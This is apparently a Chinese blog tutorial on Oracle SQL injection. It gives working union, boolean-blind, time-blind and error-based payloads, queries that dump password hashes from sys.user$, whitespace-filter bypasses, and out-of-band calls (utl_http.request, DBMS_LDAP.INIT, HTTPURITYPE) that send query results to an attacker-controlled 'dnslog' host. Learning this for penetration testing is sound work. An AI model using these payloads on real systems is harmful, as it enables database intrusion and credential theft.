0%

从零开始的Oracle注入学习

0x00 前言

​ 最近在实习,渗透跟CTF真的差距很大,既然如此,我就去学一下在实战环境中比较常见的Oracle数据库注入吧。毕竟sql注入这个东西在CTF中已经被玩坏了。想在大型比赛中看到正常的sql注入简直就是天方夜谭。只能靠自己的学习以及实战环境的摸索了。

0x01 入门

1.1安装

​ 既然是入门的话,那么首先就是Oracle的安装教学

1.2基础语法

​ 既然要了解Oracle,那么Oracle的基础语法一定要会,这里就默认有mysql基础了。讲一下和mysql不一样的地方。

1
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录

然后就是sql语句的几个不同点。

  • sql语句中必须要加 select 指名表名。也可以使用dual表进行查询。

  • Oracle中只有null这个概念,没有空字符串这个概念,空字符串就是null

  • Oraclesqlite有点像,都是使用||当做字符串的连接符。所以在sql注入的时候自然也就有了replace注入。

  • Oracle的单引号和mysql是一样的,不过双引号是用来消除系统关键字的。

  • 我们曾经看到的rownum是真是存在的。并且oracle中没有limit只能用下面的方式代替:

    1
    select * from pyy where rownum=1;
  • 单行注释采取和sqlite相同的--。而多行注释符采用/**/

1.3系统表

Oracle的系统表:

  • dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
  • all_tables : 当前用户有权限的表的信息
  • user_tables: 当前用户名下的表的信息
  • DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
  • ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
  • USER_ALL_TABLES:某一用户所拥有的对象和表

user_tables 的范围最小,all_tables 看到的东西稍多一些,而 dba_tables 的信息最全。范围是:

1
dba_tables >= all_tables >= user_tables

1.4权限和用户

  • DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
  • RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
  • CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构

一般oracle数据库安装成功后会创建几个默认用户syssystempublic等。

https://www.cnblogs.com/yw0219/p/5855210.html

​ 其实oracle的结构和实例也是一个重点,但是这里就不详细讲了。有兴趣的可以看看下面的参考。

1.5查询数据

  • 获取数据库版本:

    1
    2
    3
    4
    SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
    SELECT version FROM v$instance;
    具体注入的语句:
    http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +
  • 获取操作系统版本:

    1
    2
    SELECT banner FROM v$version where banner like 'TNS%';
    http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +
  • 获取当前用户权限的所有数据库:

    1
    SELECT DISTINCT owner, table_name FROM all_tables;
  • 获取当前数据库:

    1
    2
    3
    4
    SELECT global_name FROM global_name;
    SELECT name FROM v$database;
    SELECT instance_name FROM v$instance;
    SELECT SYS.DATABASE_NAME FROM DUAL;
  • 获取用户相关信息:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    SELECT user FROM dual;获取当前数据库用户
    SELECT username FROM all_users ORDER BY username;列出所有用户
    SELECT name FROM sys.user$; — priv;列出所有用户

    列出密码哈希:
    SELECT name, password, astatus FROM sys.user$ — priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
    SELECT name,spare4 FROM sys.user$ — priv; 11g

    获取数据库所有用户:
    SELECT username FROM all_users ORDER BY username;
    SELECT name FROM sys.user$; -- priv;

    SELECT * FROM session_privs; 获取当前用户权限

    SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限

    获取用户角色
    SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
    SELECT DISTINCT grantee FROM dba_sys_privs;

    获取所有数据库用户密码
    SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g;
    SELECT name, spare4 FROM sys.user$; -- priv, >= 11g;

    列出DBA账户:
    SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;

    获取主机名和IP
    SELECT UTL_INADDR.get_host_name FROM dual;
    SELECT host_name FROM v$instance;
    SELECT UTL_INADDR.get_host_address FROM dual; 查IP
    SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称

    SELECT name FROM V$DATAFILE; 获取DB文件路径
  • 获取字段名和表名

    1
    2
    SELECT table_name FROM all_tables; 获取表名
    SELECT column_name FROM all_tab_columns; 获取字段名

1.6有可能用到的函数

  • Initcap 将首字母大写,其余字母全部小写。

  • Lower 将所有字母全部转为小写。

  • Upper 将所有字母全部转为大写。

  • Concat 链接多个字符串,效果等同于||

    • SELECT Concat ('a', 'b') FROM dual 结果:ab
      
      Select 'a' || 'b' from dual 结果:ab
      <!--9-->
  • trim 清除两边的空格

https://www.cnblogs.com/Johnny_Z/archive/2010/10/31/1865673.html

1.7经典注入语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.查询所有数据库

由于Oralce没有库名,只有表空间,所以Oracle没有提供数据库名称查询支持,只提供了表空间名称查询。
select * from v$tablespace;--查询表空间(需要一定权限)

2.查询当前数据库中所有表名

select * from user_tables;

3.查询指定表中的所有字段名

select column_name from user_tab_columns where table_name = 'table_name';


4.查询指定表中的所有字段名和字段类型

select column_name, data_type from user_tab_columns where table_name = 'table_name';

1.8寻找注入点

​ 注意:尽量不要使用类似and 1=1这样的语句来判断是否含有注入点。我们可以使用加减乘除的方式来哦安短是否存在注入。因为注入的本质就是你写进去的数据被成了代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#通过 <> 来判断

?id=1'+and+1<>6--+ #返回为真 页面正常
?id=1'+and+1<>1--+ #返回为假 页面异常

#通过 加减法来判断

?id=1 #返回id,为1的内容
?id=2-1 #返回为1的内容

#通过数据库报错来判断

?id=1 #返回为正常
?id=1/0 #返回异常

# 通过注释符来判断(多行注释:/**/,单行注释:--)

?id=1 #返回为正常
?id=1/*loecho*/ #也返回正常

?id=1 #返回为正常
?id=1--loecho #也返回正常

​ 当然,上面的都是一些不带引号的注入点,如果带引号怎么办呢?

1
2
3
4
5
6
7
8
9
10
#通过<>来判断

?name=cioi'+and+1<>6--+ #返回正常
?name=cioi'+and+1<>1--+ #返回异常


#使用字符串拼接符’||’,通过判断拼接符是否执行,从而判断是否存在注入.或者也可直接使用

?name=cx'||'lover #返回正常
?name=cx'||'haha #返回异常

笔者注:经过了实战的sql注入挖掘漏洞之后,我发现一般在注入中最好不要含有%20这种东西,建议以后测试的时候都使用+代替。笔者注结束。

0x02 注入

​ 基本类型的注入上面已经说过了。这里重点提一下盲注。

2.1布尔盲注

1
2
3
4
5
6
利用字符串相关函数,对逐个字符进行比较猜解来获取数据
http://127.0.0.1/oracle?id=99' and (select substr(user, 1, 1) from dual)='O' -- +
或者利用decode函数+除0(关于decode函数看上面基本函数)
http://127.0.0.1/oracle?id=99' and 1=(select decode(substr(user, 1, 1), 'O', (1/1),0) from dual) -- +
或者利用instr函数来进行布尔盲注(从一个字符串中查找指定子串的位置,查询结果中的位置,未找到便返回0,可以通过对子串位置进行遍历和迭代,获取到数据)
?username=user'and 1=(instr((select user from dual),'ADMIN')) --

2.2时间盲注

1
2
3
4
5
6
7
8
9
利用时间延迟函数配合replacesubstr以及decode来进行注入
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'O', 10))=1;

select decode(substr(user,1,1),'O',dbms_pipe.receive_message('olo',10),0) from dual;

select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('pyy', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'P', 1))=1;

也可以利用获取大量数据的语句
select count(*) from all_objects

2.3报错注入

  • utl_inaddr.get_host_name
1
2
在11g之前不需要任何权限,在11g之后当前的数据库用户必须有网络访问权限
select utl_inaddr.get_host_name((select user from dual)) from dual;
  • ctxsys.drithsx.sn
1
2
处理文本的函数,传入参数错误的时会报错返回异常
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
  • CTXSYS.CTX_REPORT.TOKEN_TYPE
1
2
用于处理文本,也会出现参数错误返回异常
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
  • XMLType
1
2
3
XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据
select XMLType('<:'||(select user from dual)||'>') from dual;
PS:调用的时候必须以<:开头和>结尾,即 '<:'||balabala||'>' 或者 chr(60)||balabal||chr(62);如果返回的数据种有空格的话,会自动截断,导致数据不完整,这种情况下需要先转为 hex,再导出(或者有replace函数替换成其他非空字符)
  • dbms_xdb_version.checkin
1
select dbms_xdb_version.checkin((select user from dual)) from dual;
  • dbms_xdb_version.makeversioned
1
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
  • dbms_xdb_version.uncheckout
1
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
  • dbms_utility.sqlid_to_sqlhash
1
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
  • ordsys.ord_dicom.getmappingxpath
1
2
3
4
5
6
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

或者直接使用

# 中间为查询内容
ordsys.ord_dicom.getmappingxpath(user,user,user)
  • UTL_INADDR.get_host_name
1
select UTL_INADDR.get_host_name((select user from dual)) from dual;
  • UTL_INADDR.get_host_address
1
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

2.4联合注入

​ 利用union select从而达成联合注入。

Tips: 因为Oracle是强匹配的,所以在Oracle进行类似Union联合查询的时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle没有limit函数,要通过'>=0<=1'这种形式来指定。

1
select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5

​ 具体操作流程:

先用order by来判断列数:

1
?id=-1'% order by 10 --

判断列数后使用null来填补注入数据。

1
?id=-1' union select null,null,null,null,null,null,null,null,null,null from dual --

然后注出数据库的名称:

1
2
?id=99' union select null,null,null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual  --
这里用rownum来指定返回结果,如果要指定数据库数据库需要使用<>(rownum = 1 and owner <> 'MASTER')

然后注出列名:

1
?id=99' union select null,null,null,null,(select table_name from user_tables where rownum = 1),null,null,null,null,null from dual --

最后根据获得列名来爆数据。

2.5OOB通道

OOB带外通道,使用一些常规通道之外的替代信道请求服务器资源。一般我们可以使用HTTP或者DNS请求将信息外带。具体的操作过程有点像XXE中的getflag或者命令执行中使用curl ip -d /flag的执行结果。我们可以通过这种方式极大的加快盲注的速度。

​ 当然请求外带的前提条件当然是靶机可以访问外网啊。另一个条件就是我们的用户要有足够的请求外网的权限。下面列出几种可以实现http请求攻击的渠道。

  • utl_http.request

    1
    2
    3
    #utl_http.request向外网主机发送http请求,需要出外网http
    select utl_http.request('dnslog'||(select user from dual)) from dual;
    #注意一下哦。这里的 || 是字符串连接符,别搞错了好吧。dnslog指的是你的地址。
  • utl_inaddr.get_host_address

    1
    2
    3
    dns解析带外
    把查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果
    select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dual
  • SYS.DBMS_LDAP.INIT

    1
    2
    在 oracle 10g和11g里面只需要public权限
    SELECT DBMS_LDAP.INIT((‘dnslog',80) FROM DUAL;
  • HTTPURITYPE

    1
    2
    HTTPURITYPE根据给定的URI创建一个实例
    SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;

以下几个都可以发出网络请求:

1
2
3
4
UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP

0x03 绕过

3.1编码绕过

​ 我们可以使用hextoraw()asciistr()配合UTL_RAW.CAST_TO_VARCHAR2()函数来实现编码的绕过。

1
2
hextoraw():十六进制字符串转换为raw
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw("abcdef")) FROM dual

使用rawtohex()来进行ascii的解码

1
SELECT rawtohex('abcdef') FROM dual

下面是一些利用编码绕过的情况

1
2
3
4
5
6
7
SELECT 1 FROM dual;             正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符

0x04 参考

留个链接,学Oracle了。

https://xz.aliyun.com/t/7897

https://xz.aliyun.com/t/8020